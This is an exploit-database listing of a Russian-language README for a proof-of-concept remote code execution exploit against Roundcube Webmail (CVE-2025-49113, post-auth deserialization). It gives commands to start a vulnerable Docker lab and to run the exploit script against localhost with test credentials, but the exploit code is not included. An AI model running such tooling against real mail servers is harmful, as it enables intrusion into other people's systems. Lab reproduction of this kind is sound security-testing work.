Exploit for Deserialization of Untrusted Data in Roundcube Webmail CVE-2025-49113

## https://sploitus.com/exploit?id=95B50536-7ADB-50CE-9B50-1016DBD77BDD
# CVE-2025-49113 Roundcube RCE PoC

## 🚀 **Как запустить проект**

### **1. Запуск уязвимого сервера**
```bash
cd Stand
docker-compose up -d
```

### **2. Запуск скрипта против цели**
```bash
cd PoC/src
python3 scanner.py --target http://localhost:9000 --username test --password test --command "id"
```

## 📌 **Основные требования**
- **Требуется авторизация** (Post-Auth)
- Учетные данные: `test` / `test`
- Целевой URL: `http://localhost:9000`